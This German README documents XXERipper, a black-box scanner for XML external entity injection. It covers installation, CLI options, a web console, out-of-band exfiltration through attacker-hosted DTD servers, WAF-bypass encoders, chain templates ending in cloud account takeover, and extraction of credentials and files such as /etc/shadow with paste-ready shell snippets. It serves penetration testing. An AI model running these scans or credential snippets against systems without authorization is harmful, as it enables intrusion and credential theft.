
Black-Box-XXE-Scanner, der In-Band-, fehlerbasierte und blinde Out-of-Band-Injektionen durch statistisches Baselining, Parser-Fingerprinting und OOB-Bestätigung erkennt, mit SARIF-Ausgabe.
Ein eigenständiger Black-Box-XML-External-Entity-(XXE)-Scanner für Sicherheitsfachleute.
XXERipper erkennt In-Band-, Error-Based- und Blind-Out-of-Band-XXE über mehr als 30 Angriffstechnik-Familien hinweg. Es kombiniert statistisches Baselining, differenzielles Parser-Fingerprinting, Out-of-Band-Bestätigung über interactsh-client (manuell oder automatisch), eine browserbasierte Konsole, WAF-Bypass-Encoding, End-to-End-Exploit-Chain-Erkennung, Credential-Extraktion mit einfügefertigen Shell-Snippets, CWE-zugeordnete Findings und JSON-/SARIF-/HTML-Ausgabe für CI/CD und Reporting.
XXERipper ist ein eigenständiger CLI- und Browser-Konsolen-Scanner für XML External Entity Injection, entwickelt für Penetrationstester, Bug-Bounty-Jäger und Sicherheitsforscher, die eine präzise Erkennung mit wenigen False Positives für eine Schwachstellenklasse benötigen, die leicht schlecht und schwer gut zu testen ist.
Er ist bewusst minimal gehalten — httpx und (für die Konsole) flask, sonst nichts — und durchgängig auditierbar. Jede Phase kann nachverfolgt werden, jedes Finding trägt eine Beweiskette, jede übersprungene Technik wird mit einem Grund gemeldet, und jede extrahierte Datei oder Credential wird dedupliziert und mit einfügefertigen Exploitation-Snippets gespeichert.
XXERipper nutzt das Ziel nicht über das Entity-Resolution-Primitiv selbst hinaus aus. Es stellt fest, ob ein Parser externe Entities auflöst, ob das Ergebnis in-band, über Parser-Fehler oder out of band beobachtet werden kann, und meldet diese Feststellung mit einem Confidence-Score, einer CWE-Zuordnung und — wenn eine vollständige Kette abgeschlossen ist — einem Rollup-Finding, das die End-to-End-Auswirkung benennt.
ChainTracker beobachtet jedes Finding, leitet Chain-Stufen aus ID + Evidence ab und feuert ein Rollup-Finding, wenn ein Template abgeschlossen ist — XXE → IMDS → IAM credentials → AWS account takeover, XXE → SSH private key → lateral movement, XXE → Kubernetes secrets → cluster credential theft und zehn weitere.aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=… und curl -H 'Authorization: Bearer …' —, die, wo zutreffend, mit den echten Claims des Tokens erstellt werden.interactsh-client. Zwei Modi: manuell (der Scanner gibt jede Subdomain aus, Sie beobachten den Client) und auto (--oob-auto startet interactsh-client und korreliert Callbacks im Prozess). Beide betten ein eindeutiges 16-Hex-Token pro Payload ein, sodass Callbacks niemals falsch zugeordnet werden können.--oob-listen), ein Verzeichnis, das von Ihrem eigenen Webserver bereitgestellt wird (--oob-dtd-dir), oder die eigenen Flask-Routen der WebUI (aktivieren Sie Serve DTDs from this WebUI im Drawer).jar://, data://, phar://, glob://, compress.zlib://.XXE-OFFICE-XSLT-{DOCX,XLSX}) — eine xml-stylesheet-PI innerhalb eines Word- oder Excel-Teils veranlasst serverseitige Dokumentprozessoren, ein angreiferkontrolliertes XSLT abzurufen.jackson-dataformat-xml im Classpath, das stillschweigend application/xml auf jedem @RequestBody-Endpunkt akzeptiert.--bypass-waf) — sendet den gesamten Payload-Katalog erneut durch fünfzehn Encoder aus drei Familien. Läuft nach den Kernphasen, sodass ein direkter Treffer in ~20 Requests gefunden wird, statt hinter ~1.500 kodierten begraben zu werden.--serve) — browserbasierte Workbench mit Live-Event-Streaming, Command Palette, tastaturgesteuerter Navigation, JSON-/SARIF-/HTML-Downloads pro Job und einem separaten View HTML-Button, der den Report inline öffnet, statt ihn herunterzuladen. Zero-Dependency-Frontend: eine eigenständige HTML-Datei, kein CDN.--pre-auth-request FILE spielt Burp-formatierte Requests erneut ab und führt deren Set-Cookie vor dem Start des Scans zusammen, sodass mehrstufige Auth-Flows ohne Cookies-Datei funktionieren.pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
Die Basisinstallation zieht `httpx[http2]` (mit über ALPN aktivierter HTTP/2-Aushandlung) und `Flask` (verwendet von der `--serve`-Webkonsole) ein. SOCKS-Proxy-Unterstützung ist die einzige optionale Erweiterung. HTTP/2 ist eine erforderliche Funktion, keine optionale — sie steht in der Hauptabhängigkeitsliste als `httpx[http2]`. Das Extra `xxeripper[http2]` wird rein aus Nutzergewohnheit bereitgestellt; es zu installieren ist gleichbedeutend mit der Installation des Basispakets.
### Distributionspakete```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### Voraussetzungen
- **Python 3.9 bis 3.14.**
- **`httpx[http2]` ≥ 0.27, < 0.29** — der HTTP-Client. HTTP/2-Unterstützung
wird über das `[http2]`-Extra von `httpx` eingebunden, das die
`h2`-Abhängigkeit mitbringt. Der Scanner handelt HTTP/2 über ALPN beim
TLS-Handshake aus und fällt stillschweigend auf HTTP/1.1 zurück, wo der
Server dies nicht unterstützt.
- **`Flask` ≥ 3.0, < 4.0** — wird von der `--serve`-Webkonsole verwendet. Es ist
eine Hauptabhängigkeit, keine optionale; die Konsole ist eine erstklassige
Schnittstelle, und `xxeripper --serve` ist in
[Quick Start](#quick-start) und [Web Console](#web-console) dokumentiert.
- **Optional:** `PySocks` ≥ 1.7.1 für SOCKS-Proxys
(`xxeripper[socks]`).
- **Optional:** `interactsh-client` in `PATH` für automatische OOB-
Bestätigung (`--oob-auto`). Der manuelle OOB-Modus (`--oob-domain`) hat keine
externe Abhängigkeit — Sie führen `interactsh-client` selbst in einem
separaten Terminal aus.
Das Wheel enthält eine einzige Datei, `xxeripper.py`. Es gibt kein Paket-
verzeichnis, keine kompilierte Erweiterung und keinen Build-Schritt zur Installationszeit.
Der CLI-Einstiegspunkt ist als `xxeripper = "xxeripper:main"` deklariert, sodass
`pip install xxeripper` eine `xxeripper`-ausführbare Datei in Ihren `PATH` legt.
### Optionale Extras
| Extra | Zieht herein | Wann zu installieren |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | Sie scannen über einen SOCKS5-Proxy, einschließlich Tor via `socks5h://` |
| `xxeripper[http2]` | *(nichts Neues)* | Nie zwingend erforderlich — die Basisinstallation enthält bereits `httpx[http2]`. Aus Nutzergewohnheit bereitgestellt |
Es gibt kein `[webui]`-Extra — Flask ist eine Hauptabhängigkeit, und die
Konsole funktioniert sofort bei jeder Basisinstallation.
---
## Quick Start```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888
# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html
# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
-o results.sarif --format sarif --fail-on high
Der Scanner übernimmt Baseline-Erfassung, Parser-Fingerprinting, Payload-Generierung, Ausführung, Bewertung, Chain-Rollup, Credential-Extraktion und Reporting. Die Blind-Bestätigung ist entweder als Zwei-Terminal-Workflow (manueller Modus, der Standard) oder als vollautomatisierter, subprozessgesteuerter Workflow (--oob-auto) verfügbar.
xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt
xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp
xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -r request.txt --oob-auto
xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888
xxeripper https://target.com/api/xml
--oob-auto
--oob-dtd-dir /var/www/dtds
--oob-dtd-url-prefix http://198.51.100.7:8000/dtds
xxeripper https://target.com/api/xml
--payload ']>&e;'
--payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -u targets.txt -o results.json
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10
xxeripper https://target.com/api/xml --full-file-scan
xxeripper https://target.com/ingest --svg
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper https://target.com/auth/assert --saml --oob-auto
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
xxeripper https://target.com/api/xml
--bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto
xxeripper --serve --port 8080
xxeripper https://target.com/api/xml
-o results --format both --report-html results.html
xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
--oob-auto --timing --unsafe --svg --saml --full-file-scan
--bypass-waf utf16be,ebcdic,ucs4_2143
--oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
--threads 20 --rate 8 --timeout-read 20 --budget 1800
--proxy socks5://127.0.0.1:9050 --debug
-o results --format both --report-html report.html
---
## Kommandozeilen-Referenz
### Ziel und Ausgabe
| Option | Beschreibung |
|---|---|
| `url` (positional) | Einzelne URL zum Scannen |
| `-u, --urls FILE` | Datei mit URLs, eine pro Zeile |
| `-r, --request FILE` | Rohe HTTP-Anfrage im Burp-Format |
| `-o, --output FILE` | Ausgabedatei für Ergebnisse |
| `--format {json,sarif,both}` | Ausgabeformat. Standard: `json` |
| `--report-html PATH` | Nach dem Scan einen eigenständigen HTML-Bericht schreiben |
| `--fail-on {critical,high,medium,low,never}` | Mit Exit-Code `2` beenden, wenn ein Fund mit dieser oder höherer Schwere vorliegt. Standard: `never` |
| `--debug` | Ausführliche Diagnoseausgabe |
### Out-of-band
| Option | Beschreibung |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **Manueller Modus.** Interactsh-Client-Session-Domain. Der Scanner erstellt Payloads unter dieser Domain und gibt jede Subdomain in der Zusammenfassung des Ziels aus. Er pollt nicht — beobachte dein `interactsh-client`-Terminal. Gegenseitig ausschließend mit `--oob-auto` |
| `--oob-auto` | **Auto-Modus.** Startet `interactsh-client` als Subprozess, extrahiert die Session-Domain aus dessen JSON-Ausgabe und korreliert Callbacks im Prozess. Erfordert `interactsh-client` in `PATH`. Gegenseitig ausschließend mit `--oob-domain` |
| `--oob-timeout SECONDS` | OOB-Wartezeitbudget pro Poll. Nur sinnvoll mit `--oob-auto`; die Kombination mit `--oob-domain` ist ein Argumentfehler, da der manuelle Modus nie wartet. Standard: `8.0` |
### Blinde Exfiltration
| Option | Beschreibung |
|---|---|
| `--oob-listen HOST:PORT` | Bindet einen integrierten HTTP-Server, der DTD-Payloads ausliefert. Erfordert `--oob-public-url`. Verwende `0.0.0.0:PORT`, um an alle Schnittstellen zu binden |
| `--oob-public-url URL` | Öffentliches URL-Präfix für den integrierten DTD-Server (z. B. `http://198.51.100.7:8888`). Erforderlich mit `--oob-listen` |
| `--oob-dtd-dir PATH` | Alternative zu `--oob-listen`: ein Verzeichnis, in das der Scanner DTD-Dateien schreibt. Stelle es von deinem eigenen Webserver bereit. Erfordert `--oob-dtd-url-prefix` |
| `--oob-dtd-url-prefix URL` | Öffentliches URL-Präfix, das auf `--oob-dtd-dir` verweist (z. B. `http://198.51.100.7:8000/dtds`) |
Die beiden Modi schließen sich in der Praxis gegenseitig aus: Verwende `--oob-listen`, wenn das Ziel die Adresse des Scanners erreichen kann, und `--oob-dtd-dir`, wenn du einen öffentlich erreichbaren Webserver kontrollierst. Der manuelle OOB-Modus (`--oob-domain`) unterstützt keine Exfiltration — der Scanner liest im manuellen Modus nie die Ausgabe von interactsh, sodass der exfiltrierte Inhalt aus dem Terminal des Operators gelesen werden muss.
### Web-Konsole
| Option | Beschreibung |
|---|---|
| `--serve` | Startet die browserbasierte Konsole, anstatt einen CLI-Scan auszuführen |
| `--host ADDRESS` | Bind-Adresse für die Konsole. Standard: `127.0.0.1`. Das Startbanner warnt vor Nicht-Loopback-Binds |
| `--port PORT` | Bind-Port für die Konsole. Standard: `8080` |
### Fingerprinting und Datei-Targeting
| Option | Beschreibung |
|---|---|
| `--no-fingerprint` | Überspringt die Parser-Fingerprint-Phase. Capability-Gating ist deaktiviert; alle Phasen laufen bedingungslos |
| `--no-fingerprint-cache` | Deaktiviert den Fingerprint-Cache auf der Festplatte; erzwingt eine frische Probe |
| `--full-file-scan` | Iteriert die vollständige Linux- + Windows-Datei-Target-Liste (~58 Pfade) anstelle der Prioritäts-Teilmenge (~21 Pfade) |
### Cookies und Payloads
| Option | Beschreibung |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | Inline-Cookies oder Netscape-Jar / `key=value`-Datei |
| `--no-cookie-merge` | Überspringt das Zusammenführen von `Set-Cookie` |
| `--pre-auth-request FILE` | Spielt eine Anfrage im Burp-Format einmal vor dem Scan ab. `Set-Cookie`-Header aus der Antwort werden in den Jar des Scanners eingefügt. Für mehrstufige Authentifizierung wiederholen |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | Benutzerdefinierte Payloads (inline, Datei, Verzeichnis) |
### Angriffsmodi
| Option | Beschreibung |
|---|---|
| `--timing` | Aktiviert zeitbasierte blinde Erkennung |
| `--unsafe` | Aktiviert DoS-Payloads (Billion Laughs) |
| `--svg` | Erzwingt SVG-Upload und Multipart/DOCX/Office-XSLT-Phasen |
| `--saml` | Erzwingt die SAML-Vor-Signatur-Phase bei Endpunkten, deren URL nicht SAML-förmig aussieht |
### WAF-Bypass
| Option | Beschreibung |
|---|---|
| `--bypass-waf [ENCODERS]` | Sendet den gesamten Payload-Katalog durch die ausgewählten Encoder *nach* den Kernphasen erneut. Übergib `all` (oder keinen Wert) für jeden Encoder oder eine kommagetrennte Teilmenge. Gültige Namen: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
| `--bypass-waf-include-custom` | Erweitert den Sweep auf benutzerdefinierte Payloads. Nur sinnvoll mit `--bypass-waf`. Customs, die `{CALLBACK}` oder `{DOMAIN}` referenzieren, werden übersprungen |
### Netzwerk und Stabilität
| Option | Beschreibung |
|---|---|
| `--proxy URL` | `http://`, `https://`, `socks5://` oder `socks5h://` |
| `--threads N` | Gleichzeitige Ziele. Standard: 20 |
| `--rate R` | Maximale Anfragen pro Sekunde pro Ziel. Standard: unbegrenzt |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | Standard: 5.0 / 15.0 |
| `--budget SECONDS` | Wall-Clock-Scan-Limit. Standard: 3600 |
| `--verify-tls` | Zertifikatsverifizierung wieder aktivieren |
### Platzhalter für benutzerdefinierte Payloads
`{FILE}`, `{CALLBACK}`, `{DOMAIN}`, `{URL}`, `{HOST}` — werden zum Dispatch-Zeitpunkt durch das aktuelle Datei-Target, die eindeutige Callback-Subdomain, die Session-Domain, die Ziel-URL und den Ziel-Hostnamen ersetzt.
---
## Web-Konsole
Die Konsole ist eine browserbasierte Workbench zum Ausführen und Inspizieren von Scans, die über `--serve` aus derselben Binärdatei bereitgestellt wird.```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# [*] 127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*] OOB auto mode available via the WebUI
# (interactsh-client will be spawned on first use).
Die Konsole bindet standardmäßig an Loopback und hat keine Authentifizierung. Ein erneutes Binden über --host gibt eine explizite Warnung aus; schalten Sie einen authentifizierten Reverse-Proxy davor, wenn Sie Remote-Zugriff benötigen.
Eine Arbeitsumgebung mit drei Bereichen:
exfiltrated-Block unter jedem Callback, der wiederhergestellten Dateiinhalt transportiert hat.Drücken Sie ⌘K / Ctrl+K für die Fuzzy-Suche über Befehle, Targets und Findings. Findings zeigen ihren Schweregrad als farbige Pille in der Palette.
| Taste | Aktion |
|---|---|
j / k | Nächstes / vorheriges Target |
n / p | Nächstes / vorheriges Finding |
/ | Filter fokussieren |
c | Neue-Scan-Schublade öffnen |
r | Ausgewählten Scan erneut ausführen |
? | Dialog für Tastaturkürzel |
Esc | Progressives Schließen (Filter → Finding → Target) |
Vollzugriff auf jedes CLI-Flag aus dem Browser: URL oder Burp-Request, OOB-Modus (manuelle Domain oder automatisch), der Abschnitt Blind exfiltration mit zwei sich gegenseitig ausschließenden Optionen (WebUI-gehosteter DTD-Server plus öffentliches URL-Feld, oder DTD-Verzeichnis plus URL-Präfix für externes Serving), Proxy, Cookies, Rate, Budget, Timeouts, Threads, benutzerdefinierte Payloads, Payload-Dateien, Pre-Auth-Requests und das Kontrollkästchen-Raster für Scan-Optionen. Der WAF-Bypass-Abschnitt legt alle fünfzehn Encoder als einzelne Kontrollkästchen plus eine „Toggle all"-Schaltfläche offen; sowohl das Encoder-Raster als auch das Include-Custom-Kontrollkästchen werden bei jedem Schließen der Schublade auf Aus zurückgesetzt, sodass Bypass niemals stillschweigend zwischen Scans übernommen wird.
Das Ankreuzen von Auto OOB mode in der Schublade startet einen interactsh-client für die Lebensdauer des Serverprozesses. Er wird lazy beim ersten Auto-OOB-Job gestartet und danach wiederverwendet. Mehrere gleichzeitige Jobs teilen sich die Session-Domain, behalten aber unabhängige Token-Sets bei, sodass Callbacks weiterhin korrekt pro Target zugeordnet werden. Eingehende Callbacks werden beim Eintreffen im Terminal des Servers ausgegeben.
Zusätzlich zu den CLI-seitigen DTD-Hosting-Optionen kann die WebUI DTDs über ihre eigenen Flask-Routen bereitstellen. Kreuzen Sie Serve DTDs from this WebUI in der Schublade an, geben Sie die öffentliche URL an, unter der die WebUI erreichbar ist, und der Scanner registriert DTDs unter /dtd/<token>.dtd auf demselben Flask-Prozess, der die Konsole ausführt. Kein zweites Terminal, kein python -m http.server, kein separates Verzeichnis.
Dies funktioniert, wenn das Target die Adresse erreichen kann, an die die WebUI gebunden ist. Binden Sie die Konsole mit einem öffentlichen URL-Präfix an 0.0.0.0, und die WebUI wird zu einem vollständig eigenständigen Exfiltrationsserver. Wenn das Target remote ist und die WebUI nicht, verwenden Sie stattdessen den --oob-dtd-dir-Modus der CLI: Der Scanner schreibt DTD-Dateien in ein Verzeichnis, Sie servieren dieses Verzeichnis über nginx oder Apache, und die WebUI liest die Ergebnisse über denselben Scan-Prozess zurück.
Jeder abgeschlossene Job hat drei Download-Schaltflächen in der Symbolleiste:
--format json aus der CLI.--format sarif aus der CLI.Content-Disposition: attachment).Content-Disposition: inline).Dieselbe Datei, zwei Verhaltensweisen, zwei Schaltflächen.
Ein laufender Job kann aus der Konsole abgebrochen werden. Der Abbruch ist kooperativ: Der ScanContext des Jobs wird signalisiert, und jede Phase prüft ihn vor jedem Payload-Versand. Ein Job, der auf einen Concurrency-Slot wartet, kann abgebrochen werden, bevor er überhaupt startet.
XXERipper ist ein Single-File-Orchestrator mit einer kleinen Menge komponierbarer Komponenten. Es gibt kein Plugin-System, keine Konfigurations-DSL, keinen externen Zustand jenseits des Fingerprint-Caches auf der Festplatte.``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘
### Komponenten
| Komponente | Rolle |
|---|---|
| `build_session` | Erstellt einen `httpx.Client` mit HTTP/2-Aushandlung, Connection-Pooling, optionalem Proxy und Header-Injektion pro Anfrage |
| `CookieManager` | Führt Cookies aus Inline-Strings, Netscape-Jars, `key=value`-Dateien und Burp-Headern zusammen. Absorbiert optional `Set-Cookie` aus jeder Antwort |
| `CustomPayloadLoader` | Lädt, teilt und normalisiert Benutzer-Payloads aus Inline-Strings, Dateien (`---`-Trenner oder `<?xml`-Grenzen) und Verzeichnissen |
| `OOBClient` | Generiert korrelierte Subdomains, verfolgt ausstehende Token, versendet Beobachtungen, korreliert Callbacks gegen einen laufenden `InteractshManager`. Funktioniert identisch im manuellen und automatischen Modus |
| `InteractshManager` | Startet und liest `interactsh-client -json -v`, extrahiert die Session-Domain, stellt eine thread-sichere Callback-Liste bereit |
| `DTDServer` | Integrierter HTTP-Server für Blind-Exfiltrations-DTD-Payloads. Gebunden durch `--oob-listen`. Liefert `<token>.dtd` auf Anfrage |
| `FileDTDWriter` | Schreibt DTD-Dateien in ein Verzeichnis, das der Operator extern bereitstellt. Gepaart mit `--oob-dtd-url-prefix` |
| `WebUIDTDServer` | Unterstützt die WebUI-gehostete DTD-Route. Registriert DTDs in einem prozessweiten Dict und gibt URLs unter `/dtd/<token>.dtd` zurück |
| `OOBExfilExtractor` | Parst Interactsh-Callback-Objekte und extrahiert exfiltrierte Daten aus HTTP-Request-Pfaden/-Queries und DNS-Subdomain-Labels |
| `ParserFingerprint` | Sendet gepaarte Test-/Kontroll-Probes, gleicht Fehlertexte gegen 11 Signaturfamilien ab, füllt ein `capabilities`-Dict |
| `StatisticalBaseline` | Erfasst 7 gutartige Samples; berechnet Median-Länge, verstrichene Zeit, Status, Body-Hash, Median-Shannon-Entropie, Windowed-Entropie, IQR, p95 |
| `AccuracyEngine` | Bewertet eine Kandidatenantwort gegen die Baseline, wendet Vetos und Gewichtungen an, klassifiziert die Schwere |
| `XXEPayloadGenerator` | Reine Funktionen, die Payload-Strings und -Bytes für jede Technikfamilie zurückgeben |
| `XXEDetector` | Der Orchestrator: baut Header, führt Phasen aus, ruft die Accuracy-Engine auf, zeichnet Findings auf, steuert die Loot- und Chain-Subsysteme |
| `ChainTracker` | Zeichnet Chain-Stufen auf, die aus Finding-IDs und Evidenz abgeleitet werden; löst Rollup-Findings aus, wenn Templates vollständig sind |
| `LootStore` | Thread-sicheres, dedupliziertes Repository extrahierter Dateien und Secrets. Persistiert standardmäßig nichts auf der Festplatte |
| `CredentialExtractor` | Regex-basierte Extraktion von AWS IAM JSON und INI, Alibaba RAM, SSH-Private-Keys, GCP-Service-Accounts, OAuth-Access-Tokens, Kubernetes-Service-Account-Tokens und generischen Bearern, jeweils mit paste-fertigen Shell-Snippets |
| `FileContentExtractor` | Typspezifische Extraktion von Rohdateiinhalten aus Response-Bodies (`/etc/passwd`, `/etc/shadow`, SSH-Keys, `.env`, `web.config`, `win.ini`, `system.ini`, `boot.ini`, `/proc`-Dateien), mit generischem strukturellem Fallback |
| `ScanContext` | Wall-Clock-Deadline und kooperative Abbruchsemantik; jede Phase prüft sie vor jedem Senden |
| `RateLimiter` | Erzwingt ein Mindestintervall zwischen Anfragen pro Ziel; unabhängig von `--threads` |
### Scan-Workflow
1. **Pre-Flight.** Das Cookie-Jar wird aufgebaut. Pre-Auth-Anfragen (falls vorhanden) werden wiederholt und ihre `Set-Cookie`-Header zusammengeführt. Benutzerdefinierte Payloads werden geladen. Die `ScanContext`-Deadline wird gesetzt.
2. **Baseline-Erfassung.** Sieben gutartige `POST`-Anfragen werden gesendet. Median-Länge, verstrichene Zeit, Statuscode, Body-Hash, Entropie, IQR und p95 werden berechnet.
3. **Fingerprint.** Neun Capability-Probes werden gegen das Ziel ausgeführt. Fehlertexte aus den Probes werden gegen Parser-Signaturen abgeglichen. Das Ergebnis wird auf der Festplatte zwischengespeichert (außer bei `--no-fingerprint-cache`).
4. **Kernphasen.** In-Band-Dateilesen, JSON-zu-XML-Umschaltung, Content-Type-Matrix, Methodenvariation, Query-Parameter-Injektion, SSRF, Cloud-Metadaten, RCE-Wrapper, fehlerbasiert.
5. **OOB-abhängige Phasen.** Nur-DNS, externes DTD, Parameter-Entity-OOB, CDATA-Bypass, XInclude-Varianten, XSLT/XSD-Fetcher, `xml-stylesheet`-PI, Multipart, DOCX, Form-Encoded.
6. **Bypass und alternative Sinks.** Encoding-Bypass, XInclude, SVG-Upload, SAML/SOAP-Envelope, SAML-Pre-Signature.
7. **Opt-in-Phasen.** Timing-basiertes Blind (`--timing`), DoS (`--unsafe`).
8. **Office-Dokument- und YAML-Phasen.** `xml-stylesheet`-PI in DOCX/XLSX-Teilen und PyYAML-/SnakeYAML-Deserialisierungs-Probes.
9. **Benutzerdefinierte Payloads.** Jede Benutzer-Payload wird gegen jedes Dateiziel getestet.
10. **WAF-Bypass (optional).** Wenn `--bypass-waf` gesetzt ist, wird der gesamte Payload-Katalog erneut durch jeden ausgewählten Encoder gesendet. Läuft *nach* den Kernphasen, damit ein direkter Treffer vor dem kodierten Sweep gefunden wird.
11. **Chain-Rollup.** `ChainTracker.emit_rollup_findings()` durchläuft abgeschlossene Templates und gibt pro Abschluss ein Rollup-Finding aus.
12. **Reporting.** Ergebnisse werden nach JSON, SARIF und/oder eigenständigem HTML serialisiert.
Jede Phase läuft innerhalb von `_run_phase`, das jede Ausnahme abfängt, den Traceback unter `--debug` protokolliert und mit der nächsten Phase fortfährt. Ein vor einem Absturz ausgegebenes Finding kann nicht verloren gehen.
---
## Fingerprinting-Methodik
Die Fingerprint-Phase beantwortet zwei Fragen: **welcher XML-Stack läuft**, und **welche Entity-Resolution-Fähigkeiten er offenlegt**. Beides steuert die Phasenauswahl — ein Ziel, das DOCTYPE vollständig ablehnt, muss nicht mit dem lokalen DTD-Sweep beaufschlagt werden.
### Capability-Probes
Neun gepaarte Probes, jede mit einer Test-Payload und einer Kontroll-Payload:
| Fähigkeit | Test | Erfolgsbedingung (Test besteht, Kontrolle nicht) |
|---|---|---|
| `dtd_allowed` | Gutartiges DOCTYPE mit einer Elementdeklaration | `200`, Marker-String vorhanden |
| `dtd_entity_syntax_accepted` | DOCTYPE mit einer Entity-Deklaration (nicht verwendet) | `200`, Marker vorhanden |
| `dtd_parsed_but_not_resolved` | DOCTYPE mit deklarierter und referenzierter Entity | `200`, rohes `&x;` sichtbar (Parser ließ es unexpandiert) |
| `internal_entity` | Interne Entity expandiert | `200`, Marker vorhanden, `&x;` fehlt |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`, Ausgabe sieht wie ein Hostname aus, kein Markup, keine rohe Entity |
| `parameter_entity` | Interner Parameter-Entity-Stager | `200`, `PE_MARKER` vorhanden, `&inner;` fehlt |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`, oder `Connection refused` / `Failed to load` / `IO error` vorhanden |
Die Kontrolle ist dieselbe Anfrage mit einem gutartigen Body. Eine Fähigkeit wird nur dann als `True` markiert, wenn das Erfolgsprädikat des Tests besteht **und** das der Kontrolle nicht. Das macht den Fingerprint differenziell statt pattern-matched — ein Ziel, das immer `200 OK` zurückgibt, kann nicht fälschlich „DTD erlaubt" melden.
### Signatur-Abgleich
Response-Bodies aus den Probes (und jeder `5xx`-Response-Body) sammeln sich in einem Fehlertext-Puffer. Dieser Puffer wird gegen elf Signaturfamilien abgeglichen:
| Familie | Repräsentative Strings |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`, `xmlParseEntityRef`, `Failed to load external entity`, `Premature end of data in tag` |
| `xerces` | `org.apache.xerces`, `com.sun.org.apache.xerces`, `SAXParseException`, `was referenced, but not declared`, `cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`, `System.Xml.XmlReader`, `An error occurred while parsing EntityName`, `DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`, `DocumentBuilder`, `JAXP00010001`, `AccessExternalDTD`, `disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`, `IS_SUPPORTING_EXTERNAL_ENTITIES`, `woodstox`, `com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`, `xml.parsers.expat.ExpatError`, `undefined entity`, `not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`, `SimpleXMLElement::__construct():`, `DOMException:` |
| `ruby` | `REXML::ParseException`, `Nokogiri::XML::SyntaxError`, `The entity expansion has been blocked` |
| `node` | `ExpatError`, `xml2js`, `libxmljs`, `fast-xml-parser`, `Unexpected close tag` |
